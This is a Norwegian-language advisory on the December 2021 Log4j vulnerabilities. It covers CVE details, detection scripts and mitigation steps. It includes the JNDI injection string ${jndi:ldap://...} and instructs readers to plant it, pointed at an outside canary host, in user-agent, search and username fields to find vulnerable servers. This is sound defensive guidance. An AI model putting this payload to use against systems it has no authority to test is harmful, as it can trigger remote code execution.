Oppdatering 19.12.2021: Det oppdages stadig nye sårbarheter og nye måter å bruke disse på i Log4j. Vi har lagt tre flytskjema (mind maps) til i gitrepoet som beskriver hhv sårbare versjon av Log4j, hvordan man kan sjekke om man er sårbar og mitigering av de forskjellige sårbarhetene.
-
Identifiser programvare som benytter Log4j versjon 2.x
-
Mitiger sårbarheter i Log4j
- Oppdater programvare som benytter Log4j til en versjon som benytter Log4j 2.17.0
Om overstående ikke er mulig
- Sørg for at mitigerende tiltak for CVE-2021-44228 og CVE-2021-45046 er gjennomført, merk at da er man sårbar for DoS
- Om systemene er spesielt kritiske, vurder å se etter
Context Lookups
iPattern Layouts
i konfigurasjonen for Log4j2
-
Identifiser programvare som benytter Log4j versjon 1.x.
-
Hvis Log4j versjon 1.x benyttes i virksomheten, gå i dialog med leverandør og krev at de
- Oppgrader til Log4j versjon 2.x
- alternativt går over til et annet bibliotek hva gjelder logging
CVE-2021-44228
Den store stygge ulven av sårbarhetene i Log4j. Sårbarhet utnyttes når en variant av strengen ${jndi:ldap://\<angrepskode>/a}
logges av Log4j. CVSS 10.0, RCE.
CVE-2021-45046
Ikke like stor som CVE-2021-44228, men like stygg. Krever ikke-standard oppsett av Log4j. CVSS 9.0, RCE og DoS.
CVE-2021-45105
Ikke like stor som CVE-2021-44228, også litt mindre stygg. CVSS 7.5, DoS
CVE-2021-4104
Gjelder kun Log4j versjon 1.x. Krever at Log4j bruker JMSAppender. CVSS 6.6, RCE Utnyttelse krever at Log4j bruker JMSAppender. Enten ved at JMSAppender er konfigurert direkte - noe som er uvanlig - eller ved at angriper selv legger den til i konfigurasjonen for Log4j. I tillegg må angriper ha tilgang til å endre konfigurasjonen for JMSAppender. Om dette er tilfelle vil angriper normalt allerede ha tilgang på systemet. Sårbarheten anses derfor som lite relevant.
CVE-2019-17571
Gjelder kun Log4j versjon 1.x. Krever at Log4j bruker SocketServer. CVSS 9.8, RCE Gir angriper med nettverksmessig tilgang til aktuell socket mulighet til kodeeksekvering. Kode for utnyttelse er offentlig tilgjengelig.
For Java 8 er Log4j v. 2.17.0 siste versjon. Den mitigerer alle sårbarhetene over.
Versjon 2.16.0 Mitigerer de verste sårbarhetene.
For Java7 er Log4j gitt ut i versjon 2.12.2. Denne mitigerer ikke CVE-2021-45105. Teamet bak Log4j sier forøvrig at hverken Java 6 eller Java 7 er støttet lenger. Det er uvisst om de kommer med enda en sikkerhetsoppdatering for Log4j i Java 7.
Flytskjemaet "Mind map #1" gir en god oversikt for forutsetningene for om man har de forskjellige sårbarhetene.
Laget av Loïc Castel. Hentet fra github.
Litt av utfordringen er at det er ikke nødvendigvis servere som er direkte eksponert mot internett som er sårbare. Sårbarheten kan være i en server lenger bak i 'kjeden' som mottar samme data og logger den. Dette kan gjøre det utfordrende å vite hva som er eksponert og ikke.
Flytskjemaet "Mind map #2" gir en god oversikt for hvordan man kan sjekke egne systemer for sårbarhetene.
Laget av Loïc Castel. Hentet fra github.
Ved å trigge sårbarhet
1. Opprett DNS-kanaritoken [https://canarytokens.org/generate#](https://canarytokens.org/generate#)- Bygg denne tekststrengen ${jndi:ldap://<kanaritoken>/a}
- Skriv inn denne strengen i alle felt som potensielt kan logges
- User-agent
- Søkefelt
- Brukernavn
- ...
- Følg opp kanaritreff og finn ut hvor log4j kjører.
Ved å søke på hoster
Denne tar alle disker, inkludert mapped network drives:
Get-PSDrive -PSProvider FileSystem | foreach {(gci ($_.Root) -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}
Ref: https://twitter.com/0gtweet/status/1469661769547362305
Hvis man kun ønsker å sjekke lokale disker:
Get-CimInstance win32_volume | Where-Object { $_.DriveType -eq 3 -and $_.DriveLetter -ne $null} | ForEach-Object {(gci ($_.DriveLetter+"\") -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}
Ref: https://twitter.com/webmastir/status/1470386184052486155?s=20
Hvis man i tillegg ønsker å sjekke eventloggen på maskinen.
Get-WinEvent -ListLog * |
foreach { get-winevent @{logname=$_.logname; } -ea 0 } |
where message -match 'jndi'
#!/bin/bash
find / -name '*log4j*.jar' -print0 2>/dev/null -print0 | while read -d $'\0' log4j; do
echo -en "${log4j}: "$(unzip -p "${log4j}" | strings | grep -Po '^Implementation-Version:\s+([0-9\.]+)' | awk '{ print $NF }')"\n"
done
exit 0
Kjøres som root
lsof | grep log4j-core
Flytskjemaet "Mind map #3" gir en oversikt over mitigeringsmuligheter.
Laget av Loïc Castel. Hentet fra github.
Under har vi listet opp litt ressurser for å utføre mitigeringene.
#1 Patch
Oppdater Log4j til v 2.17.0
Oppdater Log4j til v 2.12.2 OBS mitigerer ikke CVE-2021-45105
#4 Mitigate #1: Sette variabel
⚠️ denne metoden anses ikke lengre som en fullgod løsning da den ikke mitigerer alle sårbarhetene i alle situasjonene.
[Environment]::SetEnvironmentVariable("LOG4J_FORMAT_MSG_NO_LOOKUPS","true","Machine")
MERK: Krever omstart
Fra https://twitter.com/CyberRaiju/status/1469505680138661890
"‐Dlog4j2.formatMsgNoLookups=True"
Command line example:
JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" teku --network mainnet
Or with an -Xmx value:
JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true -Xmx4g" teku
Systemd config example:
Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true"'
Or with an -Xmx value:
Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" "-Xmx4g'
Dette lastes ved restart av applikasjonen Fra https://github.com/ConsenSys/teku/security/advisories/GHSA-mwfw-vm54-g3p7
#4 Mitigate #2: Slett javaklasse
Slett JndiLookup.class i jar-filen til log4j.En jarfil er et arkiv (zip-fil) og kan åpnes. Filer kan deretter fjernes. Dette kan utføres manuelt med verktøy som 7-zip (se bilde) eller ved bruk av script.
Krever restart av applikasjonen
Ref: https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/9
[Reflection.Assembly]::LoadWithPartialName('System.IO.Compression')
$JarFilLokasjon = 'C:\temp\log4j-core-2.13.0-test.jar'
$Filnavn = 'JndiLookup.class' #Denne filen slettes!
$Stream = New-Object IO.FileStream($JarFilLokasjon, [IO.FileMode]::Open)
$ZipMode = [IO.Compression.ZipArchiveMode]::Update
$Zip = New-Object IO.Compression.ZipArchive($stream, $ZipMode)
($zip.Entries | Where-Object { $Filnavn -contains $_.Name }) | ForEach-Object { $_.Delete() }
$zip.Dispose()
$stream.Close()
$stream.Dispose()
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
https://github.com/NCSC-NL/log4shell/tree/main/software
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592